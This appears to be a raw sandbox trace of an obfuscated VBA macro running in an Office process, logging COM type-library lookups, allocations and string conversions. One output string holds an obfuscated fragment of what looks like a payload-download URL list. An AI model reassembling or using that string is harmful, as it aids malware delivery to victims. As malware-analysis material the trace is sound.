0x5 [0018.508] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WpjzZrtiM", lHashVal=0x1065a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.508] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.508] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.508] IUnknown:Release (This=0x7919520) returned 0xd [0018.508] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60904, cbMultiByte=10, lpWideCharStr=0xa2027be, cchWideChar=22 | out: lpWideCharStr="CaUSwZwTkw") returned 10 [0018.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6091e, cbMultiByte=10, lpWideCharStr=0xa202c08, cchWideChar=22 | out: lpWideCharStr="wuCEiAzQvz") returned 10 [0018.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60932, cbMultiByte=10, lpWideCharStr=0xa202db2, cchWideChar=22 | out: lpWideCharStr="zPawbqRzfT") returned 10 [0018.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60946, cbMultiByte=10, lpWideCharStr=0xa202f5c, cchWideChar=22 | out: lpWideCharStr="qUXiUcBKIH") returned 10 [0018.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6095a, cbMultiByte=10, lpWideCharStr=0xa203106, cchWideChar=22 | out: lpWideCharStr="psbvYVqYsr") returned 10 [0018.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6096e, cbMultiByte=10, lpWideCharStr=0xa2032b0, cchWideChar=22 | out: lpWideCharStr="zLGzUmAYqH") returned 10 [0018.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60982, cbMultiByte=10, lpWideCharStr=0xa20345a, cchWideChar=22 | out: lpWideCharStr="IwnRHiWUkC") returned 10 [0018.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60996, cbMultiByte=10, lpWideCharStr=0xa203604, cchWideChar=22 | out: lpWideCharStr="wnHnJEofXG") returned 10 [0018.510] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TLXBEpkjsU") returned 0x104322 [0018.510] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="TLXBEpkjsU" | out: _Dst="TLXBEpkjsU") returned 0x0 [0018.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="TLXBEpkjsU") returned 11 [0018.510] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.510] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="TLXBEpkjsU", lHashVal=0x104322, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.510] IUnknown:Release (This=0x7919520) returned 0xd [0018.510] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.510] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="TLXBEpkjsU", lHashVal=0x104322, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.510] IUnknown:Release (This=0x7346470) returned 0xb [0018.510] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.510] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="TLXBEpkjsU", lHashVal=0x104322, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.510] IUnknown:Release (This=0x7345930) returned 0x7 [0018.510] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.510] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="TLXBEpkjsU", lHashVal=0x104322, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.510] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.510] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.510] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_TLXBEpkjsU") returned 0x10b18c [0018.510] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_TLXBEpkjsU" | out: _Dst="_B_var_TLXBEpkjsU") returned 0x0 [0018.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_TLXBEpkjsU") returned 18 [0018.510] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.510] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_TLXBEpkjsU", lHashVal=0x10b18c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.510] IUnknown:Release (This=0x7919520) returned 0xd [0018.511] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.511] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_TLXBEpkjsU", lHashVal=0x10b18c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.511] IUnknown:Release (This=0x7346470) returned 0xb [0018.511] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.511] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_TLXBEpkjsU", lHashVal=0x10b18c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.511] IUnknown:Release (This=0x7345930) returned 0x7 [0018.511] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.511] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_TLXBEpkjsU", lHashVal=0x10b18c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.511] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.511] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.511] IUnknown:Release (This=0x7919520) returned 0xd [0018.511] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb609b4, cbMultiByte=10, lpWideCharStr=0xa211a8c, cchWideChar=22 | out: lpWideCharStr="pwiWPTdWbc") returned 10 [0018.511] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb507c0 [0018.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb609ce, cbMultiByte=10, lpWideCharStr=0xa211ed6, cchWideChar=22 | out: lpWideCharStr="JYDiAVKHTU") returned 10 [0018.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb609e2, cbMultiByte=10, lpWideCharStr=0xa212080, cchWideChar=22 | out: lpWideCharStr="tkLDOuPhzG") returned 10 [0018.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb609f6, cbMultiByte=10, lpWideCharStr=0xa21222a, cchWideChar=22 | out: lpWideCharStr="OTBYXfPQiP") returned 10 [0018.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a0a, cbMultiByte=10, lpWideCharStr=0xa2123d4, cchWideChar=22 | out: lpWideCharStr="dGIRbiBhKI") returned 10 [0018.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a1e, cbMultiByte=10, lpWideCharStr=0xa21257e, cchWideChar=22 | out: lpWideCharStr="rISvdFkaIV") returned 10 [0018.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a32, cbMultiByte=10, lpWideCharStr=0xa212728, cchWideChar=22 | out: lpWideCharStr="EwWUOpXiKU") returned 10 [0018.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a46, cbMultiByte=10, lpWideCharStr=0xa2128d2, cchWideChar=22 | out: lpWideCharStr="FuZDqnbtck") returned 10 [0018.521] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xa220000 [0018.522] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sVGsXBOCOdR") returned 0x10029c [0018.522] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="sVGsXBOCOdR" | out: _Dst="sVGsXBOCOdR") returned 0x0 [0018.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="sVGsXBOCOdR") returned 12 [0018.522] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.522] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="sVGsXBOCOdR", lHashVal=0x10029c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.522] IUnknown:Release (This=0x7919520) returned 0xd [0018.522] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.522] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="sVGsXBOCOdR", lHashVal=0x10029c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.522] IUnknown:Release (This=0x7346470) returned 0xb [0018.522] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.522] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="sVGsXBOCOdR", lHashVal=0x10029c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.522] IUnknown:Release (This=0x7345930) returned 0x7 [0018.522] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.522] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="sVGsXBOCOdR", lHashVal=0x10029c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.522] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.523] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.523] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_sVGsXBOCOdR") returned 0x10f43d [0018.523] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_sVGsXBOCOdR" | out: _Dst="_B_var_sVGsXBOCOdR") returned 0x0 [0018.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_sVGsXBOCOdR") returned 19 [0018.523] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.523] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_sVGsXBOCOdR", lHashVal=0x10f43d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.523] IUnknown:Release (This=0x7919520) returned 0xd [0018.523] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.523] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_sVGsXBOCOdR", lHashVal=0x10f43d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.523] IUnknown:Release (This=0x7346470) returned 0xb [0018.523] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.523] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_sVGsXBOCOdR", lHashVal=0x10f43d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.523] IUnknown:Release (This=0x7345930) returned 0x7 [0018.523] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.523] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_sVGsXBOCOdR", lHashVal=0x10f43d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.523] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.523] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.523] IUnknown:Release (This=0x7919520) returned 0xd [0018.523] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a64, cbMultiByte=10, lpWideCharStr=0xa220d6c, cchWideChar=22 | out: lpWideCharStr="KXXumpAHvF") returned 10 [0018.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a7e, cbMultiByte=10, lpWideCharStr=0xa2211b6, cchWideChar=22 | out: lpWideCharStr="KuqllBPiFW") returned 10 [0018.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60a92, cbMultiByte=10, lpWideCharStr=0xa221360, cchWideChar=22 | out: lpWideCharStr="ZDaDCzEvtn") returned 10 [0018.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60aa6, cbMultiByte=10, lpWideCharStr=0xa22150a, cchWideChar=22 | out: lpWideCharStr="jjPCJAOHSz") returned 10 [0018.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60aba, cbMultiByte=10, lpWideCharStr=0xa2216b4, cchWideChar=22 | out: lpWideCharStr="CjnfiMNzJv") returned 10 [0018.524] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb50a10 [0018.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60ace, cbMultiByte=10, lpWideCharStr=0xa22185e, cchWideChar=22 | out: lpWideCharStr="aIWuMGzUsm") returned 10 [0018.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60ae2, cbMultiByte=10, lpWideCharStr=0xa221a08, cchWideChar=22 | out: lpWideCharStr="lENHWbfncl") returned 10 [0018.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60af6, cbMultiByte=10, lpWideCharStr=0xa221bb2, cchWideChar=22 | out: lpWideCharStr="nHMITpQuYp") returned 10 [0018.525] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="XSqAtJ") returned 0x100026 [0018.525] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="XSqAtJ" | out: _Dst="XSqAtJ") returned 0x0 [0018.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="XSqAtJ") returned 7 [0018.525] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.525] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="XSqAtJ", lHashVal=0x100026, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.525] IUnknown:Release (This=0x7919520) returned 0xd [0018.525] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.525] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="XSqAtJ", lHashVal=0x100026, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.525] IUnknown:Release (This=0x7346470) returned 0xb [0018.525] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.525] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="XSqAtJ", lHashVal=0x100026, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.525] IUnknown:Release (This=0x7345930) returned 0x7 [0018.525] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.525] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="XSqAtJ", lHashVal=0x100026, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.525] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.525] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.525] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_XSqAtJ") returned 0x107acf [0018.525] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_XSqAtJ" | out: _Dst="_B_var_XSqAtJ") returned 0x0 [0018.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_XSqAtJ") returned 14 [0018.525] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.525] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_XSqAtJ", lHashVal=0x107acf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.525] IUnknown:Release (This=0x7919520) returned 0xd [0018.525] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.525] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_XSqAtJ", lHashVal=0x107acf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.525] IUnknown:Release (This=0x7346470) returned 0xb [0018.525] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.525] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_XSqAtJ", lHashVal=0x107acf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.525] IUnknown:Release (This=0x7345930) returned 0x7 [0018.525] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.525] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_XSqAtJ", lHashVal=0x107acf, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.525] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.526] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.526] IUnknown:Release (This=0x7919520) returned 0xd [0018.526] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.526] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xa230000 [0018.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60b14, cbMultiByte=182, lpWideCharStr=0xa230024, cchWideChar=366 | out: lpWideCharStr="mFAczU3N3XZGm+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'pEw1sofzjAmwz") returned 182 [0018.526] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb50c60 [0018.526] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.526] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.526] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.526] IUnknown:Release (This=0x7919520) returned 0xd [0018.527] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.527] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zYowYjO") returned 0x10fae9 [0018.527] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="zYowYjO" | out: _Dst="zYowYjO") returned 0x0 [0018.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="zYowYjO") returned 8 [0018.527] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.527] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zYowYjO", lHashVal=0x10fae9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.527] IUnknown:Release (This=0x7919520) returned 0xd [0018.527] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.527] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zYowYjO", lHashVal=0x10fae9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.527] IUnknown:Release (This=0x7346470) returned 0xb [0018.527] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.527] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zYowYjO", lHashVal=0x10fae9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.527] IUnknown:Release (This=0x7345930) returned 0x7 [0018.527] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.527] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zYowYjO", lHashVal=0x10fae9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.527] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.527] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.527] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_zYowYjO") returned 0x10fe6d [0018.527] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_zYowYjO" | out: _Dst="_B_var_zYowYjO") returned 0x0 [0018.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_zYowYjO") returned 15 [0018.527] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.527] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zYowYjO", lHashVal=0x10fe6d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.527] IUnknown:Release (This=0x7919520) returned 0xd [0018.527] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.527] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zYowYjO", lHashVal=0x10fe6d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.527] IUnknown:Release (This=0x7346470) returned 0xb [0018.527] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.527] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zYowYjO", lHashVal=0x10fe6d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.527] IUnknown:Release (This=0x7345930) returned 0x7 [0018.527] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.527] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zYowYjO", lHashVal=0x10fe6d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.527] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.527] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.527] IUnknown:Release (This=0x7919520) returned 0xd [0018.527] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60be4, cbMultiByte=10, lpWideCharStr=0xa230eae, cchWideChar=22 | out: lpWideCharStr="tiWrPGBGvR") returned 10 [0018.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60bfe, cbMultiByte=10, lpWideCharStr=0xa2312f8, cchWideChar=22 | out: lpWideCharStr="upHNLhjnDl") returned 10 [0018.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c12, cbMultiByte=10, lpWideCharStr=0xa2314a2, cchWideChar=22 | out: lpWideCharStr="GWWqCwiPEq") returned 10 [0018.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c26, cbMultiByte=10, lpWideCharStr=0xa23164c, cchWideChar=22 | out: lpWideCharStr="drwYbWafEI") returned 10 [0018.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c3a, cbMultiByte=10, lpWideCharStr=0xa2317f6, cchWideChar=22 | out: lpWideCharStr="oQjtZQmLrJ") returned 10 [0018.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c4e, cbMultiByte=10, lpWideCharStr=0xa2319a0, cchWideChar=22 | out: lpWideCharStr="DnqqdWLfoT") returned 10 [0018.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c62, cbMultiByte=10, lpWideCharStr=0xa231b4a, cchWideChar=22 | out: lpWideCharStr="XmBEnDrilo") returned 10 [0018.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60c76, cbMultiByte=10, lpWideCharStr=0xa231cf4, cchWideChar=22 | out: lpWideCharStr="HEjuzpncQm") returned 10 [0018.529] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lJEHnP") returned 0x10af54 [0018.529] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="lJEHnP" | out: _Dst="lJEHnP") returned 0x0 [0018.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="lJEHnP") returned 7 [0018.529] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.529] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="lJEHnP", lHashVal=0x10af54, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.529] IUnknown:Release (This=0x7919520) returned 0xd [0018.529] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.530] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="lJEHnP", lHashVal=0x10af54, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.530] IUnknown:Release (This=0x7346470) returned 0xb [0018.530] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.530] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="lJEHnP", lHashVal=0x10af54, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.530] IUnknown:Release (This=0x7345930) returned 0x7 [0018.530] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.530] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="lJEHnP", lHashVal=0x10af54, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.530] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.530] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.530] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_lJEHnP") returned 0x1029be [0018.530] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_lJEHnP" | out: _Dst="_B_var_lJEHnP") returned 0x0 [0018.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_lJEHnP") returned 14 [0018.530] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.530] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_lJEHnP", lHashVal=0x1029be, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.530] IUnknown:Release (This=0x7919520) returned 0xd [0018.530] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.530] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_lJEHnP", lHashVal=0x1029be, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.530] IUnknown:Release (This=0x7346470) returned 0xb 